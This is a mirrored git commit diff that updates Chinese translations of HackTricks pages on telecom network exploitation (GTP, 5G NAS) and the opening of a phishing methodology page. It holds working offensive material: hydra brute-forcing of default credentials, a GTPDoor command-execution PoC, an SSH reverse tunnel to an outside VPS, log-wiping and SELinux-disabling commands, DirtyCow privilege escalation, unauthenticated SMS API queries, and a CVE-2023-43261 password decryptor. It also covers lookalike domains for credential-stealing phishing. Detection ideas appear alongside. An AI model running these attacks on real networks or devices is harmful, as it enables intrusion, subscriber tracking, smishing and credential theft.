mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
		
							parent
							
								
									9191946abe
								
							
						
					
					
						commit
						84b44cfb0e
					
				| @ -1,27 +1,27 @@ | ||||
| # Telecom Network Exploitation (GTP / 漫游环境) | ||||
| # 电信网络利用 (GTP / Roaming Environments) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!NOTE] | ||||
| > 移动核心协议 (GPRS Tunnelling Protocol – GTP) 常常穿越半受信任的 GRX/IPX 漫游骨干。由于它们使用明文 UDP 且几乎没有认证,**任何在电信周边取得的立足点通常都能直接到达核心信令平面**。以下笔记收集了在野外针对 SGSN/GGSN、PGW/SGW 和其它 EPC 节点观察到的攻击技巧。 | ||||
| > 移动核心协议 (GPRS Tunnelling Protocol – GTP) 通常穿越半信任的 GRX/IPX 漫游骨干网。由于它们运行在明文 UDP 上且几乎没有认证,**任何位于电信边界内的立足点通常可以直接访问核心信令平面**。以下笔记汇集了在野外针对 SGSN/GGSN、PGW/SGW 以及其他 EPC 节点观察到的进攻性技巧。 | ||||
| 
 | ||||
| ## 1. Recon & Initial Access | ||||
| ## 1. 侦察与初始访问 | ||||
| 
 | ||||
| ### 1.1  默认 OSS / NE 帐户 | ||||
| 大量厂商的网络设备出厂时包含硬编码的 SSH/Telnet 用户,例如 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …。专门的 wordlist 会显著提升 brute-force 成功率: | ||||
| ### 1.1 默认 OSS / NE 账户 | ||||
| 相当多的厂商网络设备出厂时带有硬编码的 SSH/Telnet 用户,例如 `root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser` 等。使用专门的 wordlist 会显著提高暴力破解成功率: | ||||
| ```bash | ||||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt | ||||
| ``` | ||||
| 如果设备仅暴露管理 VRF,请先通过 jump host 进行 pivot(参见下面的 «SGSN Emu Tunnel» 部分)。 | ||||
| 如果设备仅暴露管理 VRF,请先通过跳板主机进行 pivot(参见下面的 «SGSN Emu Tunnel» 节)。 | ||||
| 
 | ||||
| ### 1.2  GRX/IPX 内的主机发现 | ||||
| 大多数 GRX 运营商仍然允许在骨干网络上使用 **ICMP echo**。将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,以快速映射 GTP-C 侦听器: | ||||
| 大多数 GRX 运营商仍允许在骨干网中传递 **ICMP echo**。  将 `masscan` 与内置的 `gtpv1` UDP 探针结合使用,可快速映射 GTP-C 监听器: | ||||
| ```bash | ||||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 | ||||
| ``` | ||||
| ## 2. 枚举订户 – `cordscan` | ||||
| ## 2. 枚举订阅者 – `cordscan` | ||||
| 
 | ||||
| 下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。每个回复会显示当前为所查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示该订户访问的 PLMN。 | ||||
| 下面的 Go 工具构造 **GTP-C Create PDP Context Request** 数据包并记录响应。 每个回复会显示当前为被查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示订阅者访问的 PLMN。 | ||||
| ```bash | ||||
| # Build | ||||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| @ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| # Usage (typical): | ||||
| ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap | ||||
| ``` | ||||
| 主要标志: | ||||
| - `--imsi` 目标订户 IMSI | ||||
| - `--oper` 归属网络 / HNI (MCC+MNC) | ||||
| 关键标志: | ||||
| - `--imsi` 目标用户 IMSI | ||||
| - `--oper` 归属 / HNI (MCC+MNC) | ||||
| - `-w`      将原始数据包写入 pcap | ||||
| 
 | ||||
| 二进制文件中的重要常量可以被修改以扩大扫描范围: | ||||
| 二进制中的重要常量可被修改以扩大扫描范围: | ||||
| ``` | ||||
| pingtimeout       = 3   // seconds before giving up | ||||
| pco               = 0x218080 | ||||
| common_tcp_ports  = "22,23,80,443,8080" | ||||
| ``` | ||||
| ## 3. 通过 GTP 的代码执行 – `GTPDoor` | ||||
| ## 3. 在 GTP 上的代码执行 – `GTPDoor` | ||||
| 
 | ||||
| `GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析每个传入的 GTP-C 包**。当 payload 以 pre-shared tag 开头时,剩余部分会被解密 (AES-128-CBC) 并通过 `/bin/sh -c` 执行。stdout/stderr 被封装在 **Echo Response** 消息中外传,因此不会创建任何外向会话。 | ||||
| `GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析所有传入的 GTP-C 数据包**。 当负载以预共享标签开头时,剩余部分会被解密 (AES-128-CBC) 并通过 `/bin/sh -c` 执行。 stdout/stderr 会被封装在 **Echo Response** 消息中外传,因此不会创建任何外向会话。 | ||||
| 
 | ||||
| 最小 PoC 数据包 (Python): | ||||
| ```python | ||||
| @ -52,40 +52,40 @@ cmd = b"id;uname -a" | ||||
| enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) | ||||
| print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) | ||||
| ``` | ||||
| 检测: | ||||
| * 任何主机向 SGSN IPs 发送 **unbalanced Echo Requests** | ||||
| * GTP 版本标志设置为 1 而消息类型 = 1 (Echo) – 与规范不符 | ||||
| 检测: | ||||
| * 任何主机向 SGSN IP 发送 **unbalanced Echo Requests** | ||||
| * GTP 版本标志设置为 1 且消息类型 = 1 (Echo) – 偏离规范 | ||||
| 
 | ||||
| ## 4. Pivoting 通过核心网络 | ||||
| ## 4. 通过核心网进行 Pivoting | ||||
| 
 | ||||
| ### 4.1  `sgsnemu` + SOCKS5 | ||||
| `OsmoGGSN` 提供一个 SGSN 模拟器,能够 **establish a PDP context towards a real GGSN/PGW**。 一旦协商完成,Linux 会收到一个新的 `tun0` 接口,可从漫游对端访问。 | ||||
| `OsmoGGSN` 附带一个 SGSN 仿真器,可以 **establish a PDP context towards a real GGSN/PGW**。协商完成后,Linux 会收到一个新的 `tun0` 接口,该接口可从漫游对端访问。 | ||||
| ```bash | ||||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ | ||||
| -APN internet -c 1 -d | ||||
| ip route add 172.16.0.0/12 dev tun0 | ||||
| microsocks -p 1080 &   # internal SOCKS proxy | ||||
| ``` | ||||
| With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**. | ||||
| 通过适当的 firewall hair-pinning,该隧道可绕过仅用于信令的 VLANs,并直接进入 **数据平面**。 | ||||
| 
 | ||||
| ### 4.2  SSH Reverse Tunnel over Port 53 | ||||
| DNS 在漫游基础设施中几乎总是开放的。 将内部 SSH 服务暴露到你的 VPS(监听 :53),随后可以从家中回连: | ||||
| DNS 在漫游基础设施中几乎总是开放的。将内部 SSH 服务暴露到你的 VPS,监听 :53,然后稍后从家中回连: | ||||
| ```bash | ||||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com | ||||
| ``` | ||||
| 确认 VPS 上已启用 `GatewayPorts yes`。 | ||||
| 确认 `GatewayPorts yes` 在 VPS 上已启用。 | ||||
| 
 | ||||
| ## 5. 隐蔽通道 | ||||
| 
 | ||||
| | 通道 | 传输 | 解码 | 说明 | | ||||
| | 通道 | 传输 | 解码 | 备注 | | ||||
| |---------|-----------|----------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 纯被动监听器,无外发流量 | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监控 `*.nodep` 子域名 | | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 完全被动的监听器,无外发流量 | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | 监视 `*.nodep` 子域名 | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 与合法的 GTP-C 通信混合 | | ||||
| 
 | ||||
| All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. | ||||
| 所有 implants 都实现了 watchdogs,会 **timestomp** 它们的 binaries,并在崩溃后 re-spawn。 | ||||
| 
 | ||||
| ## 6. 防御规避 速查表 | ||||
| ## 6. 防御规避 备忘单 | ||||
| ```bash | ||||
| # Remove attacker IPs from wtmp | ||||
| utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp | ||||
| @ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1] | ||||
| touch -r /usr/bin/time /usr/bin/chargen   # timestomp | ||||
| setenforce 0                              # disable SELinux | ||||
| ``` | ||||
| ## 7. 在遗留 NE 上的权限提升 | ||||
| ## 7. 在遗留 NE 上的 Privilege Escalation | ||||
| ```bash | ||||
| # DirtyCow – CVE-2016-5195 | ||||
| gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd | ||||
| @ -118,72 +118,72 @@ rm -f /tmp/sh ; history -c | ||||
| ``` | ||||
| ## 8. 工具箱 | ||||
| 
 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面章节中描述的自定义工具。 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面章节描述的自定义工具。 | ||||
| * `FScan` : 内网 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `Responder` : LLMNR/NBT-NS 恶意 WPAD | ||||
| * `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 转发 | ||||
| * `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 pivoting | ||||
| * `FRP` (≥0.37) : NAT 穿透 / 资产桥接 | ||||
| 
 | ||||
| ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| 
 | ||||
| 5G 注册流程在 NGAP 之上通过 NAS (Non-Access Stratum) 运行。在通过 Security Mode Command/Complete 激活 NAS 安全之前,初始消息既未认证也未加密。这个安全前窗口在你能够观察或篡改 N2 流量时(例如,位于核心内的 on-path、rogue gNB,或测试台)允许多种攻击路径。 | ||||
| 5G 的注册过程在 NGAP 之上通过 NAS(非接入层,Non-Access Stratum)运行。在 Security Mode Command/Complete 激活 NAS 安全之前,初始消息是未认证且未加密的。这个安全前窗口在你能观察或篡改 N2 流量(例如在核心内的 on-path、rogue gNB,或 testbed)时,允许多种攻击途径。 | ||||
| 
 | ||||
| Registration flow (简化): | ||||
| - Registration Request: UE 发送 SUCI (加密的 SUPI) 和能力信息。 | ||||
| - Registration Request: UE 发送 SUCI(加密的 SUPI)和能力信息。 | ||||
| - Authentication: AMF/AUSF 发送 RAND/AUTN;UE 返回 RES*。 | ||||
| - Security Mode Command/Complete: 协商并激活 NAS 完整性和加密。 | ||||
| - PDU Session Establishment: IP/QoS 配置。 | ||||
| 
 | ||||
| 实验室配置建议(非 RF): | ||||
| - Core: Open5GS 的默认部署足以重现流程。 | ||||
| - UE: 模拟器或测试 UE;使用 Wireshark 解码。 | ||||
| - Active tooling: 5GReplay (捕获/修改/重放 NGAP 内的 NAS), Sni5Gect (在不启动完整 rogue gNB 的情况下实时嗅探/修补/注入 NAS)。 | ||||
| - 在 Wireshark 中有用的 display filters: | ||||
| 实验室搭建提示(非 RF): | ||||
| - Core: Open5GS 的默认部署足以重现这些流程。 | ||||
| - UE: 使用模拟器或测试 UE;用 Wireshark 解码流量。 | ||||
| - Active tooling: 5GReplay(捕获/修改/重放 NGAP 内的 NAS),Sni5Gect(在不启动完整 rogue gNB 的情况下,实时嗅探/修补/注入 NAS)。 | ||||
| - 在 Wireshark 中有用的显示过滤器: | ||||
| - ngap.procedure_code == 15 (InitialUEMessage) | ||||
| - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) | ||||
| 
 | ||||
| ### 9.1 标识符隐私: SUCI 故障导致暴露 SUPI/IMSI | ||||
| 预期行为:UE/USIM 必须发送 SUCI(使用家庭网络公钥加密的 SUPI)。如果在 Registration Request 中发现明文 SUPI/IMSI,则表示存在隐私缺陷,可能导致持久的用户追踪。 | ||||
| ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI | ||||
| 预期:UE/USIM 必须发送 SUCI(使用归属网络公钥加密的 SUPI)。如果在 Registration Request 中发现明文 SUPI/IMSI,则表明存在隐私缺陷,可导致持久的用户可追踪性。 | ||||
| 
 | ||||
| 如何测试: | ||||
| - 捕获 InitialUEMessage 中的首个 NAS 消息并检查 Mobile Identity IE。 | ||||
| - 捕获 InitialUEMessage 中的第一个 NAS 消息并检查 Mobile Identity IE。 | ||||
| - Wireshark 快速检查: | ||||
| - 它应该解码为 SUCI,而不是 IMSI。 | ||||
| - 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;若不存在且同时出现 `imsi` 则表明泄露。 | ||||
| - 它应被解码为 SUCI,而非 IMSI。 | ||||
| - 过滤示例:`nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` 应存在;若不存在且同时出现 `imsi` 则表示泄露。 | ||||
| 
 | ||||
| 需要收集的信息: | ||||
| - 如果被暴露,记录 MCC/MNC/MSIN;按 UE 记录并在不同时间/位置间跟踪。 | ||||
| 需要收集的数据: | ||||
| - 若被暴露,收集 MCC/MNC/MSIN;按 UE 记录并跨时间/位置跟踪。 | ||||
| 
 | ||||
| 缓解措施: | ||||
| - 强制只允许 SUCI 的 UE/USIM;对任何出现在初始 NAS 中的 IMSI/SUPI 发出告警。 | ||||
| - 强制只允许 SUCI 的 UE/USIM;对任何初始 NAS 中出现的 IMSI/SUPI 触发告警。 | ||||
| 
 | ||||
| ### 9.2 能力降级到 null 算法(EEA0/EIA0) | ||||
| ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) | ||||
| 背景: | ||||
| - UE 在 Registration Request 的 UE Security Capability IE 中通告支持的 EEA(加密)和 EIA(完整性)。 | ||||
| - 常见映射:EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC;EEA0/EIA0 为 null 算法。 | ||||
| - 常见映射:EEA1/EIA1 = SNOW3G,EEA2/EIA2 = AES,EEA3/EIA3 = ZUC;EEA0/EIA0 是 null 算法。 | ||||
| 
 | ||||
| 问题: | ||||
| - 由于 Registration Request 未受完整性保护,on-path 攻击者可以清除能力位以在后续的 Security Mode Command 中强制选择 EEA0/EIA0。部分实现错误地在紧急服务之外允许 null 算法。 | ||||
| - 因为 Registration Request 未受完整性保护,on-path 攻击者可以清除能力位以强制在后续 Security Mode Command 中选择 EEA0/EIA0。一些实现错误地允许在紧急服务之外使用 null 算法。 | ||||
| 
 | ||||
| 攻击步骤(进攻方): | ||||
| - 截获 InitialUEMessage 并修改 NAS UE Security Capability,使其只通告 EEA0/EIA0。 | ||||
| 进攻步骤: | ||||
| - 截获 InitialUEMessage 并修改 NAS UE Security Capability,将其改为仅通告 EEA0/EIA0。 | ||||
| - 使用 Sni5Gect,hook NAS 消息并在转发前补丁能力位。 | ||||
| - 观察 AMF 是否接受 null 加密/完整性并以 EEA0/EIA0 完成 Security Mode。 | ||||
| - 观察 AMF 是否接受 null cipher/完整性 并以 EEA0/EIA0 完成 Security Mode。 | ||||
| 
 | ||||
| 验证/可见性: | ||||
| - 在 Wireshark 中,确认 Security Mode Command/Complete 之后选定的算法。 | ||||
| - 示例被动嗅探输出: | ||||
| - 在 Wireshark 中,确认 Security Mode Command/Complete 之后所选的算法。 | ||||
| - 示例被动嗅探器输出: | ||||
| ``` | ||||
| Encyrption in use [EEA0] | ||||
| Integrity in use [EIA0, EIA1, EIA2] | ||||
| SUPI (MCC+MNC+MSIN) 9997000000001 | ||||
| ``` | ||||
| Mitigations (must): | ||||
| - 配置 AMF/policy 拒绝 EEA0/EIA0,除非严格要求(例如 emergency calls)。 | ||||
| - 优先至少强制执行 EEA2/EIA2;对任何协商 null algorithms 的 NAS 安全上下文进行记录并触发告警。 | ||||
| 缓解措施(必须): | ||||
| - 配置 AMF/policy 拒绝 EEA0/EIA0,除非在严格要求的情况下(例如紧急呼叫)允许。 | ||||
| - 优先至少强制使用 EEA2/EIA2;对任何协商 null algorithms 的 NAS 安全上下文进行记录和告警。 | ||||
| 
 | ||||
| ### 9.3 重放 initial Registration Request (pre-security NAS) | ||||
| 由于 initial NAS 缺乏完整性和新鲜度,捕获到的 InitialUEMessage+Registration Request 可以被重放到 AMF。 | ||||
| ### 9.3 Replay of initial Registration Request (pre-security NAS) | ||||
| Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF. | ||||
| 
 | ||||
| PoC rule for 5GReplay to forward matching replays: | ||||
| ```xml | ||||
| @ -208,32 +208,91 @@ boolean_expression="nas_5g.message_type == 65"/> | ||||
| </property> | ||||
| </beginning> | ||||
| ``` | ||||
| What to observe: | ||||
| - AMF 是否接受重放并继续 Authentication;缺乏新鲜性/上下文验证表明存在暴露。 | ||||
| 观察点: | ||||
| - 是否 AMF 接受重放并继续到认证;缺乏时效性/上下文验证表明存在风险。 | ||||
| 
 | ||||
| Mitigations: | ||||
| - 在 AMF 强制实施重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联检测。 | ||||
| 缓解措施: | ||||
| - 在 AMF 强制重放保护/上下文绑定;对每个 GNB/UE 进行速率限制和关联。 | ||||
| 
 | ||||
| ### 9.4 Tooling pointers (reproducible) | ||||
| - Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. | ||||
| - Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. | ||||
| - 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. | ||||
| - Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. | ||||
| - Open5GS:启动 AMF/SMF/UPF 来模拟核心网;观察 N2 (NGAP) 和 NAS。 | ||||
| - Wireshark:验证 NGAP/NAS 的解码;应用上文的过滤器以隔离 Registration。 | ||||
| - 5GReplay:抓取一次 registration,然后按规则重放特定的 NGAP + NAS 消息。 | ||||
| - Sni5Gect:实时嗅探/修改/注入 NAS 控制面,以强制 null 算法或扰乱认证序列。 | ||||
| 
 | ||||
| ### 9.5 Defensive checklist | ||||
| - 持续检查 Registration Request 中是否包含明文 SUPI/IMSI;阻断违规设备/USIMs。 | ||||
| - 拒绝 EEA0/EIA0,除非在严格限定的紧急程序中允许;至少要求 EEA2/EIA2。 | ||||
| - 持续检查 Registration Request 是否包含明文 SUPI/IMSI;阻断违规设备/USIMs。 | ||||
| - 拒绝 EEA0/EIA0(除非用于严格限定的紧急流程);至少要求 EEA2/EIA2。 | ||||
| - 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、意外的 N2 对端。 | ||||
| - 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出告警。 | ||||
| - 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出警报。 | ||||
| 
 | ||||
| --- | ||||
| ## Detection Ideas | ||||
| 1. **除 SGSN/GGSN 之外的任何设备建立 Create PDP Context Requests**。 | ||||
| 2. **来自内部 IP 的非标准端口(53、80、443)接收 SSH 握手**。 | ||||
| 3. **频繁的 Echo Requests 而没有相应的 Echo Responses** – 可能表示 GTPDoor 信标。 | ||||
| 4. **大量带有大且非零 identifier/sequence 字段的 ICMP echo-reply 流量**。 | ||||
| 5. 5G: **InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**(重放信号)。 | ||||
| 6. 5G: **NAS Security Mode 在非紧急场景协商 EEA0/EIA0**。 | ||||
| 
 | ||||
| ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) | ||||
| 
 | ||||
| 滥用工业蜂窝路由器暴露的 web API 可实现大规模隐蔽的运营商来源 smishing。Milesight UR 系列路由器在 `/cgi` 暴露了类似 JSON-RPC 的端点。若配置错误,该 API 可在无需认证的情况下被查询以列出 SMS 收件箱/发件箱,并且在某些部署中还能发送 SMS。 | ||||
| 
 | ||||
| 典型的未认证请求(收件箱/发件箱结构相同): | ||||
| ```http | ||||
| POST /cgi HTTP/1.1 | ||||
| Host: <router> | ||||
| Content-Type: application/json | ||||
| 
 | ||||
| { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 
 | ||||
| ```json | ||||
| { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 响应包含诸如 `timestamp`、`content`、`phone_number`(E.164)和 `status`(`success` 或 `failed`)等字段。对同一号码重复发送 `failed` 通常是攻击者的“能力检查”,用于验证路由器/SIM 是否能在大规模发送前成功投递。 | ||||
| 
 | ||||
| 示例 curl 用于外传 SMS 元数据: | ||||
| ```bash | ||||
| curl -sk -X POST http://<router>/cgi \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' | ||||
| ``` | ||||
| 关于 auth artifacts: | ||||
| - 部分流量可能包含一个 auth cookie,但当管理界面面向互联网时,大量暴露的设备在对 `query_inbox`/`query_outbox` 的请求中无需任何认证即予以响应。 | ||||
| - 在需要 auth 的环境中,previously-leaked credentials(见下文)可恢复访问。 | ||||
| 
 | ||||
| 凭证恢复路径 – CVE-2023-43261: | ||||
| - 受影响系列:UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)。 | ||||
| - 问题:通过 web 提供的日志(例如 `httpd.log`)在 `/lang/log/` 下可在无需认证的情况下访问,且包含 admin 登录事件,密码使用存在于客户端 JavaScript 中的硬编码 AES key/IV 加密。 | ||||
| - 实际访问与解密: | ||||
| ```bash | ||||
| curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p' | ||||
| # Look for entries like: {"username":"admin","password":"<base64>"} | ||||
| ``` | ||||
| 用于解密 leaked 密码的最小 Python (AES-128-CBC, hardcoded key/IV): | ||||
| ```python | ||||
| import base64 | ||||
| from Crypto.Cipher import AES | ||||
| from Crypto.Util.Padding import unpad | ||||
| KEY=b'1111111111111111'; IV=b'2222222222222222' | ||||
| enc_b64='...'  # value from httpd.log | ||||
| print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) | ||||
| ``` | ||||
| Hunting and detection ideas (network): | ||||
| - 触发告警:未经认证的 `POST /cgi`,其 JSON body 包含 `base`/`function` 被设置为 `query_inbox` 或 `query_outbox`。 | ||||
| - 监测来自同一源 IP 的重复 `POST /cgi` 突发请求,随后在多个不同号码上出现 `status":"failed"` 条目(capability testing)。 | ||||
| - 梳理面向 Internet 暴露的 Milesight 路由器;将管理访问限制到 VPN;非必要禁用 SMS 功能;升级到 ≥ v35.3.0.7;轮换凭证并审查 SMS 日志以查找未知发送。 | ||||
| 
 | ||||
| Shodan/OSINT pivots (examples seen in the wild): | ||||
| - `http.html:"rt_title"` 匹配 Milesight 路由器面板。 | ||||
| - 使用 Google dork 查找暴露的日志: `"/lang/log/system" ext:log`. | ||||
| 
 | ||||
| Operational impact: 在路由器内使用合法运营商 SIM 会极大提高 SMS 的送达率与可信度,用于钓鱼,而 inbox/outbox 暴露会在大规模上 leak 敏感元数据。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 检测思路 | ||||
| 1. **除 SGSN/GGSN 之外的任何设备发起 Create PDP Context Requests**。 | ||||
| 2. **来自内部 IP 在非标准端口 (53, 80, 443) 接收到 SSH 握手**。 | ||||
| 3. **频繁的 Echo Requests 但没有相应的 Echo Responses** – 可能表示 GTPDoor beacons。 | ||||
| 4. **高比例的 ICMP echo-reply 流量,具有较大且非零的 identifier/sequence 字段**。 | ||||
| 5. 5G:**InitialUEMessage 携带的 NAS Registration Requests 从相同端点重复出现**(replay signal)。 | ||||
| 6. 5G:**在非紧急场景下 NAS Security Mode 协商 EEA0/EIA0**。 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| @ -243,5 +302,8 @@ Mitigations: | ||||
| - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) | ||||
| - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS | ||||
| - 3GPP TS 33.501 – Security architecture and procedures for 5G System | ||||
| - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) | ||||
| - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -1,50 +1,49 @@ | ||||
| # Phishing 方法论 | ||||
| # Phishing Methodology | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## 方法 | ||||
| 
 | ||||
| 1. Recon 目标 | ||||
| 1. 选择 **目标域名**。 | ||||
| 2. 执行一些基本的 web 枚举,**搜索受害者使用的登录门户**,并**决定**你将**冒充**哪个。 | ||||
| 3. 使用一些 **OSINT** 来 **查找电子邮件**。 | ||||
| 1. 侦察受害者 | ||||
| 1. 选择 **victim domain**。 | ||||
| 2. 对目标的网站进行基础枚举,**搜索 login portals** 并决定你要**冒充**哪一个。 | ||||
| 3. 使用一些 **OSINT** 来 **查找 emails**。 | ||||
| 2. 准备环境 | ||||
| 1. **Buy the domain**,用于 phishing 评估 | ||||
| 2. **Configure the email service** 的相关记录 (SPF, DMARC, DKIM, rDNS) | ||||
| 1. **Buy the domain** 作为 phishing 评估中使用的域名 | ||||
| 2. 配置与 email service 相关的记录(SPF, DMARC, DKIM, rDNS) | ||||
| 3. 在 VPS 上配置 **gophish** | ||||
| 3. 准备 campaign | ||||
| 3. 准备活动 | ||||
| 1. 准备 **email template** | ||||
| 2. 准备用于窃取凭证的 **web page** | ||||
| 4. 启动 campaign! | ||||
| 4. 发起活动! | ||||
| 
 | ||||
| ## Generate similar domain names or buy a trusted domain | ||||
| ## 生成相似域名或购买可信域名 | ||||
| 
 | ||||
| ### Domain Name Variation Techniques | ||||
| 
 | ||||
| - **Keyword**:域名包含原域名的一个重要**关键词**(例如 zelster.com-management.com)。 | ||||
| - **hypened subdomain**:将子域名的**点替换为连字符**(例如 www-zelster.com)。 | ||||
| - **New TLD**:使用**新的 TLD**的相同域名(例如 zelster.org) | ||||
| - **Homoglyph**:将域名中的某个字母替换为**外观相似**的字母(例如 zelfser.com)。 | ||||
| ### 域名变体技巧 | ||||
| 
 | ||||
| - **Keyword**:域名包含原始域名的重要**keyword**(例如,zelster.com-management.com)。 | ||||
| - **hypened subdomain**:将子域名的**点改为连字符**(例如,www-zelster.com)。 | ||||
| - **New TLD**:使用不同的**TLD**(例如,zelster.org) | ||||
| - **Homoglyph**:用**外观相似的字符**替换域名中的字母(例如,zelfser.com)。 | ||||
| 
 | ||||
| {{#ref}} | ||||
| homograph-attacks.md | ||||
| {{#endref}} | ||||
| - **Transposition:** 在域名中**交换两个字母**(例如 zelsetr.com)。 | ||||
| - **Singularization/Pluralization**:在域名末尾添加或删除 “s”(例如 zeltsers.com)。 | ||||
| - **Omission**:从域名中**去掉一个字母**(例如 zelser.com)。 | ||||
| - **Repetition:** 在域名中**重复一个字母**(例如 zeltsser.com)。 | ||||
| - **Replacement**:类似 homoglyph,但不那么隐蔽。用另一个字母替换域名中的某个字母,可能是键盘上与原字母相邻的字母(例如 zektser.com)。 | ||||
| - **Subdomained**:在域名中插入一个 **点**(例如 ze.lster.com)。 | ||||
| - **Insertion**:在域名中**插入一个字母**(例如 zerltser.com)。 | ||||
| - **Missing dot**:将 TLD 直接附加到域名中。(例如 zelstercom.com) | ||||
| - **Transposition:** 在域名中**交换两个字母**(例如,zelsetr.com)。 | ||||
| - **Singularization/Pluralization:** 在域名末尾添加或删除 “s”(例如,zeltsers.com)。 | ||||
| - **Omission:** 从域名中**删除一个字母**(例如,zelser.com)。 | ||||
| - **Repetition:** 在域名中**重复一个字母**(例如,zeltsser.com)。 | ||||
| - **Replacement:** 类似 homoglyph 但不那么隐蔽。用其他字母替换域名中的某个字母,可能是键盘上邻近的字母(例如,zektser.com)。 | ||||
| - **Subdomained:** 在域名内部引入一个**点**(例如,ze.lster.com)。 | ||||
| - **Insertion:** 在域名中**插入一个字母**(例如,zerltser.com)。 | ||||
| - **Missing dot:** 将 TLD 直接附加到域名(例如,zelstercom.com) | ||||
| 
 | ||||
| **自动化工具** | ||||
| **Automatic Tools** | ||||
| 
 | ||||
| - [**dnstwist**](https://github.com/elceef/dnstwist) | ||||
| - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) | ||||
| 
 | ||||
| **网站** | ||||
| **Websites** | ||||
| 
 | ||||
| - [https://dnstwist.it/](https://dnstwist.it) | ||||
| - [https://dnstwister.report/](https://dnstwister.report) | ||||
| @ -52,25 +51,25 @@ homograph-attacks.md | ||||
